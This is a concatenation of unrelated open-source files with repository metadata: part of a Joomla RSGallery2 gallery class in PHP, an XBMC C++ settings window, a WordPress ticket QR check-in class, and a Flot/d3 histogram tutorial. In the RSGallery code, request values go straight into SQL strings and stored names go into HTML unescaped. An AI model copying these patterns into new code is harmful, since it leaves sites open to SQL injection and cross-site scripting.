class="rsg2"> <table border="0" width="100%"> <tr> <td colspan="2"><h3> <?php echo JText::_('Add Image');?></h3></td> </tr> <tr> <td align="right"> <div style="float: right;"> <table cellpadding="0" cellspacing="3" border="0" id="toolbar"> <tr height="60" valign="middle" align="center"> <td> <a class="toolbar" href="javascript:submitbuttonImage('save');" > <img src="<?php echo JURI::root();?>/images/save_f2.png" alt="Save" name="save" title="Save" align="middle" /></a> </td> <td> <a class="toolbar" href="javascript:submitbuttonImage('cancel');" > <img src="<?php echo JURI::root();?>/images/cancel_f2.png" alt="Cancel" name="cancel" title="Cancel" align="middle" /></a> </td> </tr> </table> </div> </td> </tr> <tr> <td> <table class="adminlist" border="1"> <tr> <th colspan="2"><?php echo JText::_('User Upload'); ?></th> </tr> <tr> <td><?php echo JText::_('Gallery'); ?></td> <td> <?php /*echo galleryUtils::galleriesSelectList(null, 'i_cat', false);*/ if (!$rsgConfig->get('acl_enabled')) { galleryUtils::showCategories(NULL, $my->id, 'i_cat'); } else { galleryUtils::showUserGalSelectList('up_mod_img', 'i_cat'); } ?> </td> </tr> <tr> <td><?php echo JText::_('Filename') ?></td> <td align="left"><input size="49" type="file" name="i_file" /></td> </tr> </tr> <td><?php echo JText::_('Title') ?>:</td> <td align="left"><input name="title" type="text" size="49" /> </td> </tr> <tr> <td><?php echo JText::_('Description') ?></td> <td align="left"> <?php echo $editor->display( 'descr', '' , '100%', '200', '10', '20' ,false) ; ?> </td> </tr> <?php if ($rsgConfig->get('graphicsLib') == '') { ?> <tr> <td><?php echo JText::_('Thumb:'); ?></td> <td align="left"><input type="file" name="i_thumb" /></td> </tr> <?php } ?> <tr> <td colspan="2"> <input type="hidden" name="cat" value="9999" /> <input type="hidden" name="uploader" value="<?php echo $my->id; ?>"> </td> <tr> <th colspan="2">&nbsp;</th> </tr> </table> </td> </tr> </table> </form> </div> <?php } /** * Shows thumbnails for gallery and links to subgalleries if they exist. * @param integer Category ID * @param integer Columns per page * @param integer Number of thumbs per page * @param integer pagenav stuff * @param integer pagenav stuff */ function RSShowPictures ($catid, $limit, $limitstart){ global $rsgConfig; $my = JFactory::getUser(); $database = JFactory::getDBO(); $columns = $rsgConfig->get("display_thumbs_colsPerPage"); $PageSize = $rsgConfig->get("display_thumbs_maxPerPage"); //$my_id = $my->id; $database->setQuery("SELECT COUNT(1) FROM #__rsgallery2_files WHERE gallery_id='$catid'"); $numPics = $database->loadResult(); if(!isset($limitstart)) $limitstart = 0; //instantiate page navigation $pagenav = new JPagination($numPics, $limitstart, $PageSize); $picsThisPage = min($PageSize, $numPics - $limitstart); if (!$picsThisPage == 0) $columns = min($picsThisPage, $columns); //Add a hit to the database if ($catid && !$limitstart) { galleryUtils::addCatHit($catid); } //Old rights management. If user is owner or user is Super Administrator, you can edit this gallery if(( $my->id <> 0 ) and (( galleryUtils::getUID( $catid ) == $my->id ) OR ( $my->usertype == 'Super Administrator' ))) $allowEdit = true; else $allowEdit = false; $thumbNumber = 0; ?> <div class="rsg2-pageNav"> <?php /* if( $numPics > $PageSize ){ echo $pagenav->writePagesLinks("index.php?option=com_rsgallery2&catid=".$catid); } */ ?> </div> <br /> <?php if ($picsThisPage) { $database->setQuery("SELECT * FROM #__rsgallery2_files". " WHERE gallery_id='$catid'". " ORDER BY ordering ASC". " LIMIT $limitstart, $PageSize"); $rows = $database->loadObjectList(); switch( $rsgConfig->get( 'display_thumbs_style' )): case 'float': $floatDirection = $rsgConfig->get( 'display_thumbs_floatDirection' ); ?> <ul id="rsg2-thumbsList"> <?php foreach( $rows as $row ): ?> <li <?php echo "style='float: $floatDirection'"; ?> > <a href="<?php echo JRoute::_( "index.php?option=com_rsgallery2&page=inline&id=".$row->id."&catid=".$row->gallery_id."&limitstart=".$limitstart++ ); ?>"> <!--<div class="img-shadow">--> <img border="1" alt="<?php echo htmlspecialchars(stripslashes($row->descr), ENT_QUOTES); ?>" src="<?php echo imgUtils::getImgThumb($row->name); ?>" /> <!--</div>--> <span class="rsg2-clr"></span> <?php if($rsgConfig->get("display_thumbs_showImgName")): ?> <br /><span class='rsg2_thumb_name'><?php echo htmlspecialchars(stripslashes($row->title), ENT_QUOTES); ?></span> <?php endif; ?> </a> <?php if( $allowEdit ): ?> <div id='rsg2-adminButtons'> <a href="<?php echo JRoute::_("index.php?option=com_rsgallery2&page=edit_image&id=".$row->id); ?>"><img src="<?php echo JURI_SITE; ?>/administrator/images/edit_f2.png" alt="" height="15" /></a> <a href="#" onClick="if(window.confirm('<?php echo JText::_('Are you sure you want to delete this image?');?>')) location='<?php echo JRoute::_("index.php?option=com_rsgallery2&page=delete_image&id=".$row->id); ?>'"><img src="<?php echo JURI_SITE; ?>/administrator/images/delete_f2.png" alt="" height="15" /></a> </div> <?php endif; ?> </li> <?php endforeach; ?> </ul> <div class='rsg2-clr'>&nbsp;</div> <?php break; case 'table': $cols = $rsgConfig->get( 'display_thumbs_colsPerPage' ); $i = 0; ?> <table id='rsg2-thumbsList'> <?php foreach( $rows as $row ): ?> <?php if( $i % $cols== 0) echo "<tr>\n"; ?> <td> <!--<div class="img-shadow">--> <a href="<?php echo JRoute::_( "index.php?option=com_rsgallery2&page=inline&id=".$row->id."&catid=".$row->gallery_id."&limitstart=".$limitstart++ ); ?>"> <img border="1" alt="<?php echo htmlspecialchars(stripslashes($row->descr), ENT_QUOTES); ?>" src="<?php echo imgUtils::getImgThumb($row->name); ?>" /> </a> <!--</div>--> <div class="rsg2-clr"></div> <?php if($rsgConfig->get("display_thumbs_showImgName")): ?> <br /> <span class='rsg2_thumb_name'> <?php echo htmlspecialchars(stripslashes($row->title), ENT_QUOTES); ?> </span> <?php endif; ?> <?php if( $allowEdit ): ?> <div id='rsg2-adminButtons'> <a href="<?php echo JRoute::_("index.php?option=com_rsgallery2&page=edit_image&id=".$row->id); ?>"><img src="<?php echo JURI_SITE; ?>/administrator/images/edit_f2.png" alt="" height="15" /></a> <a href="#" onClick="if(window.confirm('<?php echo JText::_('Are you sure you want to delete this image?');?>')) location='<?php echo JRoute::_("index.php?option=com_rsgallery2&page=delete_image&id=".$row->id); ?>'"><img src="<?php echo JURI_SITE; ?>/administrator/images/delete_f2.png" alt="" height="15" /></a> </div> <?php endif; ?> </td> <?php if( ++$i % $cols == 0) echo "</tr>\n"; ?> <?php endforeach; ?> <?php if( $i % $cols != 0) echo "</tr>\n"; ?> </table> <?php break; case 'magic': echo JText::_('Magic not implemented yet'); ?> <table id='rsg2-thumbsList'> <tr> <td><?php echo JText::_('Magic not implemented yet')?></td> </tr> </table> <?php break; endswitch; ?> <div class="rsg2-pageNav"> <?php if( $numPics > $PageSize ){ echo $pagenav->writePagesLinks("index.php?option=com_rsgallery2&catid=".$catid); echo "<br /><br />".$pagenav->writePagesCounter(); } ?> </div> <?php } else { if (!$catid == 0)echo JText::_('No images in gallery'); } } function showMyGalleries($rows) { $my = JFactory::getUser(); $database = JFactory::getDBO(); //Set variables $count = count($rows); ?> <div class="rsg2"> <table class="adminform" width="100%" border="1"> <tr> <td colspan="5"><h3><?php echo JText::_('My galleries');?></h3></td> </tr> <tr> <th><div align="center"><?php echo JText::_('Gallery'); ?></div></th> <th width="75"><div align="center"><?php echo JText::_('Published'); ?></div></th> <th width="75"><div align="center"><?php echo JText::_('Delete'); ?></div></th> <th width="75"><div align="center"><?php echo JText::_('Edit'); ?></div></th> <th width="75"><div align="center"><?php echo JText::_('Permissions'); ?></div></th> </tr> <?php if ($count == 0) { ?> <tr><td colspan="5"><?php echo JText::_('No User Galleries created'); ?></td></tr> <?php } else { //echo "This is the overview screen"; foreach ($rows as $row) { ?> <script type="text/javascript"> //<![CDATA[ function deletePres(catid) { var yesno = confirm ("<?php echo JText::_('DELCAT_TEXT');?>"); if (yesno == true) { location = "<?php echo JRoute::_("index.php?option=com_rsgallery2&rsgOption=myGalleries&task=deleteCat&catid=", false);?>"+catid; } } //]]> </script> <tr> <td> <a href="<?php echo JRoute::_('index.php?option=com_rsgallery2&rsgOption=myGalleries&task=editCat&catid='.$row->id);?>"> <?php echo $row->name;?> </a> </td> <?php if ($row->published == 1) $img = "publish_g.png"; else $img = "publish_r.png";?> <td><div align="center"><img src="<?php echo JURI_SITE;?>/administrator/images/<?php echo $img;?>" alt="" width="12" height="12" ></div></td> <td> <a href="javascript:deletePres(<?php echo $row->id;?>);"> <div align="center"> <img src="<?php echo JURI_SITE;?>/administrator/images/publish_x.png" alt="" width="12" height="12" > </div> </a> </td> <td> <a href="<?php echo JRoute::_('index.php?option=com_rsgallery2&rsgOption=myGalleries&task=editCat&catid='.$row->id);?>"> <div align="center"> <img src="<?php echo JURI_SITE;?>/administrator/images/edit_f2.png" alt="" width="18" height="18" > </div> </a> </td> <td><a href="#" onclick="alert('Feature not implemented yet')"><div align="center"><img src="<?php echo JURI_SITE;?>/administrator/images/users.png" alt="" width="22" height="22"></div></td> </tr> <?php $sql2 = "SELECT * FROM #__rsgallery2_galleries WHERE parent = $row->id ORDER BY ordering ASC"; $database->setQuery($sql2); $rows2 = $database->loadObjectList(); foreach ($rows2 as $row2) { if ($row2->published == 1) $img = "publish_g.png"; else $img = "publish_r.png";?> <tr> <td> <img src="<?php echo JURI_SITE;?>/administrator/components/com_rsgallery2/images/sub_arrow.png" alt="" width="12" height="12" > &nbsp; <a href="<?php echo JRoute::_('index.php?option=com_rsgallery2&rsgOption=myGalleries&task=editCat&catid='.$row2->id);?>"> <?php echo $row2->name;?> </a> </td> <td> <div align="center"> <img src="<?php echo JURI_SITE;?>/administrator/images/<?php echo $img;?>" alt="" width="12" height="12" > </div> </td> <td> <a href="javascript:deletePres(<?php echo $row2->id;?>);"> <div align="center"> <img src="<?php echo JURI_SITE;?>/administrator/images/publish_x.png" alt="" width="12" height="12" > </div> </a> </td> <td> <a href="<?php echo JRoute::_('index.php?option=com_rsgallery2&rsgOption=myGalleries&task=editCat&catid='.$row2->id);?>"> <div align="center"> <img src="<?php echo JURI_SITE;?>/administrator/images/edit_f2.png" alt="" width="18" height="18" > </div> </a> </td> <td> <a href="#" onclick="alert('<?php echo JText::_('Feature not implemented yet')?>')"> <div align="center"> <img src="<?php echo JURI_SITE; ?>/administrator/images/users.png" alt="" width="22" height="22" > </div> </a> </td> </tr> <?php } } } ?> <tr> <th colspan="5">&nbsp;</th> </tr> </table> </div> <?php } /** * This will show the images, available to the logged in users in the My Galleries screen * under the tab "My Images". * @param array Result array with image details for the logged in users * @param array Result array with pagenav details */ function showMyImages($images, $pageNav) { global $rsgAccess; ?> <table width="100%" class="adminlist" border="1"> <tr> <td colspan="4"><h3><?php echo JText::_('My Images'); ?></h3></td> </tr> <tr> <th colspan="4"><div align="right"><?php echo $pageNav->getLimitBox(); ?></div></th> </tr> <tr> <th><?php echo JText::_('Name'); ?></th> <th><?php echo JText::_('Gallery'); ?></th> <th width="75"><?php echo JText::_('Delete'); ?></th> <th width="75"><?php echo JText::_('Edit'); ?></th> </tr> <?php if (count($images) > 0) { ?> <script type="text/javascript"> //<![CDATA[ function deleteImage(id) { var yesno = confirm ('<?php echo JText::_('Are you sure you want to delete this image?');?>'); if (yesno == true) { location = "<?php echo JRoute::_("index.php?option=com_rsgallery2&rsgOption=myGalleries&task=deleteItem&id=", false);?>"+id; } } //]]> </script> <?php foreach ($images as $image) { global $rsgConfig; ?> <tr> <td> <?php if (!$rsgAccess->checkGallery('up_mod_img', $image->gallery_id)) { echo $image->name; } else { echo JHTML::tooltip('<img src="'.JURI::root().$rsgConfig->get('imgPath_thumb').'/'.$image->name.'.jpg" alt="'.$image->name.'" />', JText::_('Edit image'), $image->name, $image->title.'&nbsp;('.$image->name.')', "index.php?option=com_rsgallery2&rsgOption=myGalleries&task=editItem&id=".$image->id, 1); } ?> </td> <td><?php echo galleryUtils::getCatnameFromId($image->gallery_id)?></td> <td> <?php if (!$rsgAccess->checkGallery('del_img', $image->gallery_id)) { ?> <div align="center"> <img src="<?php echo JURI_SITE;?>/components/com_rsgallery2/images/no_delete.png" alt="" width="12" height="12" > </div> <?php } else { ?> <a href="javascript:deleteImage(<?php echo $image->id;?>);"> <div align="center"> <img src="<?php echo JURI_SITE;?>/components/com_rsgallery2/images/delete.png" alt="" width="12" height="12" > </div> </a> <?php } ?> </td> <td> <?php if ( !$rsgAccess->checkGallery('up_mod_img', $image->gallery_id) ) { ?> <div align="center"> <img src="<?php echo JURI_SITE;?>/components/com_rsgallery2/images/no_edit.png" alt="" width="15" height="15" > </div> <?php } else { ?> <a href="<?php echo JRoute::_("index.php?option=com_rsgallery2&rsgOption=myGalleries&task=editItem&id=$image->id");?>"> <div align="center"> <img src="<?php echo JURI_SITE;?>/components/com_rsgallery2/images/edit.png" alt="" width="15" height="15" > </div> </a> <?php } ?> </td> </tr> <?php } } else { ?> <tr><td colspan="4"><?php echo JText::_('No images in user galleries'); ?></td></tr> <?php } ?> <tr> <th colspan="4"> <div align="center"> <?php echo $pageNav->getPagesLinks(); echo "<br>".$pageNav->getPagesCounter(); ?> </div> </th> </tr> </table> <?php } function editItem($rows) { global $rsgConfig; $my = JFactory::getUser(); $editor = JFactory::getEditor(); require_once( JPATH_ROOT . '/includes/HTML_toolbar.php' ); foreach ($rows as $row) { $filename = $row->name; $title = $row->title; $description = $row->descr; $id = $row->id; $limitstart = $row->ordering - 1; $catid = $row->gallery_id; } ?> <script type="text/javascript"> function submitbutton(pressbutton) { var form = document.form1; if (pressbutton == 'cancel') { form.reset(); history.back(); return; } <?php echo $editor->save('descr') ; ?> // do field validation if (form.catid.value == "0") { alert( "<?php echo JText::_('You must provide a gallery name.'); ?>" ); } else if (form.descr.value == ""){ alert( "<?php echo JText::_('You must provide a description.'); ?>" ); } else{ submitform( pressbutton ); } } </script> <?php echo "<h3>".JText::_('Edit image')."</h3>"; ?> <form name="form1" method="post" action="<?php echo JRoute::_("index.php?option=com_rsgallery2&rsgOption=myGalleries&task=saveItem"); ?>"> <input type="hidden" name="id" value="<?php echo $id; ?>" /> <table width="100%"> <tr> <td align="right"> <img onClick="form1.submit();" src="<?php echo JURI_SITE; ?>/administrator/images/save.png" alt="<?php echo JText::_('Upload') ?>" name="upload" onMouseOver="document.upload.src='<?php echo JURI_SITE; ?>/administrator/images/save_f2.png';" onMouseOut="document.upload.src='<?php echo JURI_SITE; ?>/administrator/images/save.png';" />&nbsp;&nbsp; <img onClick="history.back();" src="<?php echo JURI_SITE; ?>/administrator/images/cancel.png" alt="<?php echo JText::_('Cancel'); ?>" name="cancel" onMouseOver="document.cancel.src='<?php echo JURI_SITE; ?>/administrator/images/cancel_f2.png';" onMouseOut="document.cancel.src='<?php echo JURI_SITE; ?>/administrator/images/cancel.png';" /> </td> </tr> </table> <table class="adminlist" border="2" width="100%"> <tr> <th colspan="3"><?php echo JText::_('Edit image'); ?></th> </tr> <tr> <td align="left"><?php echo JText::_('Category name'); ?></td> <td align="left"> <?php galleryUtils::showUserGalSelectList('up_mod_img', 'catid', $catid);?> </td> <td rowspan="2"><img src="<?php echo imgUtils::getImgThumb($filename); ?>" alt="<?php echo $title; ?>" /></td> </tr> <tr> <td align="left"><?php echo JText::_('Filename'); ?></td> <td align="left"><strong><?php echo $filename; ?></strong></td> </tr> <tr> <td align="left"><?php echo JText::_('Title');?></td> <td align="left"><input type="text" name="title" size="30" value="<?php echo $title; ?>" /></td> </tr> <tr> <td align="left" valign="top"><?PHP echo JText::_('Description'); ?></td> <td align="left" colspan="2"> <?php echo $editor->display( 'descr', $description , '100%', '200', '10', '20',false ) ; ?> </td> </tr> <tr> <th colspan="3">&nbsp;</th> </tr> </table> </form> <?php } function editCat($rows = null) { global $rsgConfig; $my = JFactory::getUser(); $editor =& JFactory::getEditor(); //Load frontend toolbar class require_once( JPATH_ROOT . '/includes/HTML_toolbar.php' ); ?> <script type="text/javascript"> function submitbutton(pressbutton) { var form = document.form2; if (pressbutton == 'cancel') { form.reset(); history.back(); return; } <?php echo $editor->save( 'description' ) ; ?> // do field validation if (form.catname1.value == "") { alert( "<?php echo JText::_('You must provide a gallery name.'); ?>" ); } else if (form.description.value == ""){ alert( "<?php echo JText::_('You must provide a description.'); ?>" ); } else{ form.submit(); } } </script> <?php if ($rows) { foreach ($rows as $row){ $catname = $row->name; $description = $row->description; $ordering = $row->ordering; $uid = $row->uid; $catid = $row->id; $published = $row->published; $user = $row->user; $parent = $row->parent; } } else{ $catname = ""; $description = ""; $ordering = ""; $uid = ""; $catid = ""; $published = ""; $user = ""; $parent = ""; } ?> <form name="form2" id="form2" method="post" action="<?php echo JRoute::_("index.php?option=com_rsgallery2&rsgOption=myGalleries&task=saveCat"); ?>"> <table width="100%"> <tr> <td colspan="2"><h3><?php echo JText::_('Create Gallery'); ?></h3></td> </tr> <tr> <td align="right"> <div style="float: right;"> <img onClick="submitbutton('save');" src="<?php echo JURI_SITE; ?>/administrator/images/save.png" alt="<?php echo JText::_('Upload') ?>" name="upload" onMouseOver="document.upload.src='<?php echo JURI_SITE; ?>/administrator/images/save_f2.png';" onMouseOut="document.upload.src='<?php echo JURI_SITE; ?>/administrator/images/save.png';" />&nbsp;&nbsp; <img onClick="submitbutton('cancel')" src="<?php echo JURI_SITE; ?>/administrator/images/cancel.png" alt="<?php echo JText::_('Cancel'); ?>" name="cancel" onMouseOver="document.cancel.src='<?php echo JURI_SITE; ?>/administrator/images/cancel_f2.png';" onMouseOut="document.cancel.src='<?php echo JURI_SITE; ?>/administrator/images/cancel.png';" /> </div> </td> </tr> </table> <input type="hidden" name="catid" value="<?php echo $catid; ?>" /> <input type="hidden" name="ordering" value="<?php echo $ordering; ?>" /> <table class="adminlist" border="1"> <tr> <th colspan="2"><?php echo JText::_('Create Gallery'); ?></th> </tr> <tr> <td><?php echo JText::_('Top gallery');?></td> <td> <?php //galleryUtils::showCategories(NULL, $my->id, 'parent');?> <?php echo galleryUtils::galleriesSelectList( $parent, 'parent', false );?> <?php //galleryUtils::createGalSelectList( NULL, $listName='parent', true );?> </td> </tr> <tr> <td><?php echo JText::_('Gallery name'); ?></td> <td align="left"><input type="text" name="catname1" size="30" value="<?php echo $catname; ?>" /></td> </tr> <tr> <td colspan="2"><?php echo JText::_('Description'); ?> <?php echo $editor->display( 'description', $description , '600', '200', '35', '15' ) ; ?> </td> </tr> <tr> <td><?php echo JText::_('Published'); ?></td> <td align="left"><input type="checkbox" name="published" value="1" <?php if ($published==1) echo "checked"; ?> /></td> </tr> </table> </form> <?php } }//end class ?>
healthcommcore/hcc_website
tmp/install_49ec9fe8cf98e/site/lib/mygalleries/mygalleries.class.php
PHP
gpl-2.0
38,905
/* * Copyright (C) 2005-2008 Team XBMC * http://www.xbmc.org * * This Program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2, or (at your option) * any later version. * * This Program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with XBMC; see the file COPYING. If not, write to * the Free Software Foundation, 675 Mass Ave, Cambridge, MA 02139, USA. * http://www.gnu.org/copyleft/gpl.html * */ #include "system.h" #include "GUIWindowSettings.h" #include "GUIWindowManager.h" #include "Key.h" #ifdef HAS_CREDITS #include "Credits.h" #endif #define CONTROL_CREDITS 12 CGUIWindowSettings::CGUIWindowSettings(void) : CGUIWindow(WINDOW_SETTINGS_MENU, "Settings.xml") { } CGUIWindowSettings::~CGUIWindowSettings(void) { } bool CGUIWindowSettings::OnAction(const CAction &action) { if (action.GetID() == ACTION_PREVIOUS_MENU || action.GetID() == ACTION_PARENT_DIR) { g_windowManager.PreviousWindow(); return true; } return CGUIWindow::OnAction(action); } bool CGUIWindowSettings::OnMessage(CGUIMessage& message) { switch ( message.GetMessage() ) { case GUI_MSG_CLICKED: { int iControl = message.GetSenderId(); if (iControl == CONTROL_CREDITS) { #ifdef HAS_CREDITS RunCredits(); #endif return true; } } break; } return CGUIWindow::OnMessage(message); }
xbmc/xbmc-antiquated
xbmc/GUIWindowSettings.cpp
C++
gpl-2.0
1,766
<?php /** * Class Tribe__Tickets_Plus__QR */ class Tribe__Tickets_Plus__QR { public function __construct() { add_filter( 'init', array( $this, 'handle_redirects' ), 10 ); add_filter( 'admin_notices', array( $this, 'admin_notice' ), 10 ); add_action( 'tribe_tickets_ticket_email_ticket_bottom', array( $this, 'inject_qr' ) ); } /** * Procesess the links coming from QR codes and decides what to do: * - If the user is logged in and has proper permissions, it will redirect * to the attendees screen for the event, and will automatically check in the user. * * - If the user is not logged in and/or not have proper permissions, it'll redirect * to the homepage of the event (front end) */ public function handle_redirects() { // Check if it's our time to shine. // Not as fancy as a custom permalink handler, but way less likely to fail depending on setup and settings if ( ! isset( $_GET['event_qr_code'] ) ) { return; } // Check all the data we need is there if ( empty( $_GET['ticket_id'] ) || empty( $_GET['event_id'] ) ) { return; } // Make sure we don't fail too hard if ( ! class_exists( 'Tribe__Tickets__Tickets_Handler' ) ) { return; } // If the user is the site owner (or similar), Check in the user to the event if ( is_user_logged_in() && current_user_can( 'edit_posts' ) ) { $this->_check_in( $_GET['ticket_id'] ); $post = get_post( $_GET['event_id'] ); if ( empty( $post ) ) { return; } $url = add_query_arg( array( 'post_type' => $post->post_type, 'page' => Tribe__Tickets__Tickets_Handler::$attendees_slug, 'event_id' => $_GET['event_id'], 'qr_checked_in' => $_GET['ticket_id'], ), admin_url( 'edit.php' ) ); } else { // Probably just the ticket holder, redirect to the event front end single $url = get_permalink( $_GET['event_id'] ); } wp_redirect( $url ); exit; } /** * Show a notice so the user knows the ticket was checked in */ public function admin_notice() { if ( empty( $_GET['qr_checked_in'] ) ) { return; } //Use Human Readable ID Where Available for QR Check in Message $ticket_id = absint( $_GET['qr_checked_in'] ); $checked_status = get_post_meta( $ticket_id, '_tribe_qr_status', true ); $ticket_unique_id = get_post_meta( $ticket_id, '_unique_id', true ); $ticket_id = $ticket_unique_id === '' ? $ticket_id : $ticket_unique_id; //if status is qr then display already checked in warning if ( $checked_status ) { echo '<div class="error"><p>'; printf( esc_html__( 'The ticket with ID %s has already been checked in.', 'event-tickets-plus' ), esc_html( $ticket_id ) ); echo '</p></div>'; } else { echo '<div class="updated"><p>'; printf( esc_html__( 'The ticket with ID %s was checked in.', 'event-tickets-plus' ), esc_html( $ticket_id ) ); echo '</p></div>'; //update the checked in status when using the qr code here update_post_meta( absint( $_GET['qr_checked_in'] ), '_tribe_qr_status', 1 ); } } /** * Generates the QR image, stores is locally and injects it into the tickets email * * @param $ticket array * * @return string */ public function inject_qr( $ticket ) { $link = $this->_get_link( $ticket['qr_ticket_id'], $ticket['event_id'] ); $qr = $this->_get_image( $link ); if ( ! $qr ) { return; } ?> <table class="content" align="center" width="620" cellspacing="0" cellpadding="0" border="0" bgcolor="#ffffff" style="margin:15px auto 0; padding:0;"> <tr> <td align="center" valign="top" class="wrapper" width="620"> <table class="inner-wrapper" border="0" cellpadding="0" cellspacing="0" width="620" bgcolor="#f7f7f7" style="margin:0 auto !important; width:620px; padding:0;"> <tr> <td valign="top" class="ticket-content" align="left" width="140" border="0" cellpadding="20" cellspacing="0" style="padding:20px; background:#f7f7f7;"> <img src="<?php echo esc_url( $qr ); ?>" width="140" height="140" alt="QR Code Image" style="border:0; outline:none; height:auto; max-width:100%; display:block;"/> </td> <td valign="top" class="ticket-content" align="left" border="0" cellpadding="20" cellspacing="0" style="padding:20px; background:#f7f7f7;"> <h3 style="color:#0a0a0e; margin:0 0 10px 0 !important; font-family: 'Helvetica Neue', Helvetica, sans-serif; font-style:normal; font-weight:700; font-size:28px; letter-spacing:normal; text-align:left;line-height: 100%;"> <span style="color:#0a0a0e !important"><?php esc_html_e( 'Check in for this event', 'event-tickets-plus' ); ?></span> </h3> <p> <?php esc_html_e( 'Scan this QR code at the event to check in.', 'event-tickets-plus' ); ?> </p> </td> </tr> </table> </td> </tr> </table> <?php } /** * Generates the link for the QR image * * @param $ticket_id * @param $event_id * * @return string */ private function _get_link( $ticket_id, $event_id ) { $url = add_query_arg( 'event_qr_code', 1, home_url() ); $url = add_query_arg( 'ticket_id', $ticket_id, $url ); $url = add_query_arg( 'event_id', $event_id, $url ); return $url; } /** * Generates the QR image for a given link and stores it in /wp-content/uploads. * Returns the link to the new image. * * @param $link * * @return string */ private function _get_image( $link ) { if ( ! function_exists( 'ImageCreate' ) ) { // The phpqrcode library requires GD but doesn't actually check if it is available return null; } if ( ! class_exists( 'QRencode' ) ) { include_once( EVENT_TICKETS_PLUS_DIR . '/vendor/phpqrcode/qrlib.php' ); } $uploads = wp_upload_dir(); $file_name = 'qr_' . md5( $link ) . '.png'; $path = trailingslashit( $uploads['path'] ) . $file_name; $url = trailingslashit( $uploads['url'] ) . $file_name; if ( ! file_exists( $path ) ) { QRcode::png( $link, $path, QR_ECLEVEL_L, 3 ); } return $url; } /** * Checks the user in, for all the *Tickets modules running. * * @param $ticket_id */ private function _check_in( $ticket_id ) { $modules = Tribe__Tickets__Tickets::modules(); foreach ( $modules as $class => $module ) { if ( ! is_callable( array( $class, 'get_instance' ) ) ) { continue; } $obj = call_user_func( array( $class, 'get_instance' ) ); $obj->checkin( $ticket_id, false ); } } }
TakenCdosG/chefs
wp-content/plugins/event-tickets-plus/src/Tribe/QR.php
PHP
gpl-2.0
6,450
<div class="col-md-12"> <div class="row"> <div class="col-md-12"> <h2>How do I make my own histograms?</h2> <p> This application reads in a csv file, where "csv" stands for comma-separated value. Files from several different datasets and event selections are provided. If you want to make your own csv files from the primary datasets example code can be found here: <a href="https://github.com/tpmccauley/dimuon-filter">https://github.com/tpmccauley/dimuon-filter</a>. </p> <p> Whether you use one of the files provided or make one of your own, there are several ways to examine the contents and to see what the distributions of the parameters contained therein look like. Here are a few examples using a csv file created by selecting from the “Mu” dataset events with precisely 2 muons. Each line represents the information for the 2 muons for each event. For example: <pre> Run,Event,Type1,E1,px1 ,py1,pz1,pt1,eta1,phi1,Q1,Type2,E2,px2,py2,pz2,pt2,eta2,phi2,Q2,M 146436,90830792,G,19.1712,3.81713,9.04323,-16.4673,9.81583,-1.28942,1.17139,1,T,5.43984,-0.362592,2.62699,-4.74849,2.65189,-1.34587,1.70796,1,2.73205 146436,90862225,G,12.9435,5.12579,-3.98369,-11.1973,6.4918,-1.31335,-0.660674,-1,G,11.8636,4.78984,-6.26222,-8.86434,7.88403,-0.966622,-0.917841,1,3.10256 146436,90644850,G,12.3999,-0.849742,9.4011,8.04015,9.43943,0.77258,1.66094,1,G,8.55532,-4.85155,6.97696,-0.983229,8.49797,-0.115445,2.17841,-1,9.41149 146436,90678594,G,17.8132,-1.95959,2.80531,17.4811,3.42195,2.3335,2.18053,1,G,9.42174,4.36523,0.168017,8.34713,4.36846,1.403,0.0384708,1,7.74702 </pre> </p> <p>Here are three examples using <a href="#withflot">Flot</a>, <a href="#withd3">d3</a> and <a href="#withr">R</a>. The code for all the examples is available on <a href="https://github.com/tpmccauley/opendata-histograms">github</a>.</p> </div> </div> <div class="row"> <div class="col-md-12"> <a name="withflot"></a> <h3>With Flot</h3> <p><a href="http://www.flotcharts.org/">Flot</a> is a JavaScript plotting library that uses <a href="http://jquery.com/">jQuery</a>:</p> <p> <pre> &lt!DOCTYPE html&gt &ltmeta charset="utf-8"&gt &lthead&gt &lt!-- We use d3 for making the histogram (we don't want to do it by-hand) and loading the data --&gt &ltscript src="http://d3js.org/d3.v3.min.js"&gt&lt/script&gt &ltscript src="jquery.js"&gt&lt/script&gt &ltscript src="jquery.flot.js"&gt&lt/script&gt &ltstyle&gt #flot-histogram { height: 500px; width: 800px; } &lt/style&gt &lt/head&gt &ltbody&gt &lt!-- Make a div with id flot-histogram. This is where the plot goes --&gt &ltdiv id="flot-histogram"&gt&lt/div&gt &ltscript type="text/javascript"&gt $(function(){ // Use d3 to make the histogram for us and output // the result into something we can use easily with Flot function buildHistogram(data, bw) { var minx = d3.min(data), maxx = d3.max(data), nbins = Math.floor((maxx-minx) / bw); var histogram = d3.layout.histogram(); histogram.bins(nbins); data = histogram(data); var output = []; for ( var i = 0; i < data.length; i++ ) { output.push([data[i].x, data[i].y]); output.push([data[i].x + data[i].dx, data[i].y]); } return output; } // Set some plot options var options = { lines: { show: true, fill: false, lineWidth: 1.2 }, grid: { hoverable: true, autoHighlight: false }, xaxis: { tickDecimals: 0 }, yaxis: { autoscaleMargin: 0.1 } }; // Load up a csv file and look at the distribution of the // invariant mass M (in GeV, in bins of size 0.1 GeV): d3.csv("../data/MuRun2010B_0.csv", function(data) { var histogram = buildHistogram(data.map(function(d) {return d['M'];}), 0.1); // Draw the plot: $.plot($('#flot-histogram'), [{data:histogram, label:'Invariant mass [GeV]'}], options); }); }); &lt/script&gt &lt/body&gt </pre> </p> </div> </div> <div class="row"> <div class="col-md-12"> <a name="withd3"></a> <h3>With d3</h3> <p><a href="http://d3js.org/">d3</a> (Data-Driven-Documents) is a JavaScript library for visualizing data in the browser:</p> <p> <pre> &lt!DOCTYPE html&gt &ltmeta charset="utf-8"&gt &lthead&gt &ltscript src="http://d3js.org/d3.v3.min.js"&gt&lt/script&gt &ltstyle&gt #d3-histogram { height: 500px; width: 1000px; } body { font: bold 12px Helvetica; } rect { fill: #aec7e8; stroke: #1f77b4; } .axis { shape-rendering: crispEdges; } .axis line, .axis path { fill: none; stroke: #000; } .grid .tick { stroke: lightgrey; opacity: 0.7; } .grid path { stroke-width: 0; } &lt/style&gt &lt/head&gt &ltbody&gt &lt!-- Make an svg element with id d3-histogram. This is where the plot goes --&gt &ltsvg id="d3-histogram"&gt&lt/svg&gt &ltscript type="text/javascript"&gt (function(){ // Define the margins and axes (note: "starting" w and h are in css) var m = {top: 50, right:50, bottom:50, 